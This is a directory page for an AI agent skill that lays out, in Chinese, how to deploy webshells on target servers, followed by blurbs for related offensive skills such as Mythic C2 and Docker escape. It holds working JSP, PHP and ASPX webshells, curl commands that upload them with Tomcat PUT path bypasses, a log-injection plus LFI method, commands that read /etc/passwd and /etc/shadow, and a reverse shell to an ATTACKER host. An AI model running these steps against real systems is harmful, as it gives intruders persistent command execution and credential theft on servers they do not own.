skills/exploit/web-method/webshell-deploy/SKILL.md
Webshell 部署与利用方法论。当漏洞利用需要上传/写入 webshell 到目标服务器时使用。覆盖 JSP/PHP/ASPX webshell 生成、HTTP PUT 上传(含绕过技巧)、文件上传表单、日志注入+LFI 写入,以及 webshell 验证和利用。当发现文件上传漏洞、PUT 方法可用、LFI 可利用、或需要在目标部署持久化命令执行入口时,都应使用此 skill
npx skillsauth add wgpsec/AboutSecurity webshell-deployInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
当漏洞利用需要上传/写入 webshell 时,按此方法论操作。
references/webshell-payloads.md--data-binary @file 上传 — 保证 payload 完整性根据目标技术栈选择:
| 技术栈 | 文件类型 | 上传路径示例 |
|--------|---------|-------------|
| Java/Tomcat/JBoss | .jsp | /shell.jsp |
| PHP/Apache/Nginx | .php | /shell.php |
| ASP.NET/IIS | .aspx | /shell.aspx |
| Python/Flask/Django | .py | 通常无法直接上传 |
# ✅ 正确做法:写入本地文件
cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) { out.println(line); }
br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) { out.println(line); }
}
%>
EOF
# ❌ 错误做法:在 curl -d 中内联代码(转义问题)
# curl -X PUT url/shell.jsp -d "<%@ page import=\"java.util.*\"..."
# 这会因为引号、百分号、尖括号的转义导致 payload 损坏
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = $_REQUEST['cmd'];
system($cmd);
echo "</pre>";
}
?>
EOF
cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
if (Request["cmd"] != null) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
%>
EOF
# 使用 --data-binary 上传本地文件(保持原始内容)
# 注意:必须使用路径绕过技巧,直接 PUT /shell.jsp 会被拒绝
# 绕过方式 1: 末尾加斜杠 (Linux)
curl -X PUT "http://TARGET:8080/shell.jsp/" --data-binary @/tmp/shell.jsp -v
# 绕过方式 2: 末尾加空格 %20
curl -X PUT "http://TARGET:8080/shell.jsp%20" --data-binary @/tmp/shell.jsp -v
# 绕过方式 3: NTFS 流 (Windows)
curl -X PUT "http://TARGET:8080/shell.jsp::$DATA" --data-binary @/tmp/shell.jsp -v
判断上传成功:响应码 201 Created 或 204 No Content。
curl -X POST "http://TARGET/upload" \
-F "file=@/tmp/shell.jsp;filename=shell.jsp" \
-v
# 通过日志注入写入 webshell
curl "http://TARGET/" -A '<?php system($_GET["cmd"]); ?>'
# 然后通过 LFI 包含日志文件
curl "http://TARGET/vuln.php?file=/var/log/apache2/access.log&cmd=id"
# 上传后立即验证
curl -s "http://TARGET:8080/shell.jsp?cmd=id"
# 期望输出: uid=0(root) 或类似用户信息
# 如果返回空/404/500,检查:
# 1. 上传路径是否正确(有无绕过后缀变化)
# 2. Webshell 代码是否完整(查看原文件大小)
# 3. 目标是否需要不同的 webshell 变体
# 基本命令执行
curl -s "http://TARGET:8080/shell.jsp?cmd=whoami"
curl -s "http://TARGET:8080/shell.jsp?cmd=uname+-a"
curl -s "http://TARGET:8080/shell.jsp?cmd=cat+/etc/passwd"
# URL 编码空格和特殊字符
curl -s "http://TARGET:8080/shell.jsp?cmd=ls%20-la%20/"
curl -s "http://TARGET:8080/shell.jsp?cmd=cat%20/etc/shadow"
# 反弹 shell(高级利用)
curl -s "http://TARGET:8080/shell.jsp?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER/4444%200>%261'"
| 问题 | 原因 | 解决 |
|------|------|------|
| PUT 返回 404 | 直接 PUT .jsp 被 Tomcat 拒绝 | 用 /shell.jsp/ 或 %20 绕过 |
| Webshell 返回空白 | payload 被截断或转义损坏 | 检查文件大小,重新用 --data-binary @file 上传 |
| Webshell 返回 500 | JSP 编译错误 | 检查 payload 语法,尤其是引号和特殊字符 |
| 命令无输出 | 使用了 exec() 而非 shell -c | 改用 new String[]{"/bin/sh", "-c", cmd} |
| 文件名被重命名 | 应用端重命名了上传文件 | 从响应中提取实际文件名/路径 |
需要 webshell?
├── 目标支持 PUT?
│ ├── 是 → Phase 2 写文件 → Phase 3A PUT 上传(三种绕过按序试)
│ └── 否 → 有文件上传功能?
│ ├── 是 → Phase 3B 表单上传
│ └── 否 → 有 LFI?
│ ├── 是 → Phase 3C 日志写入 + 文件包含
│ └── 否 → 寻找其他 RCE 路径
└── 上传成功?
├── 是 → Phase 4 验证 → Phase 5 利用
└── 否 → 换绕过方式 → 仍失败 → 换技术栈对应的 shell 类型
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能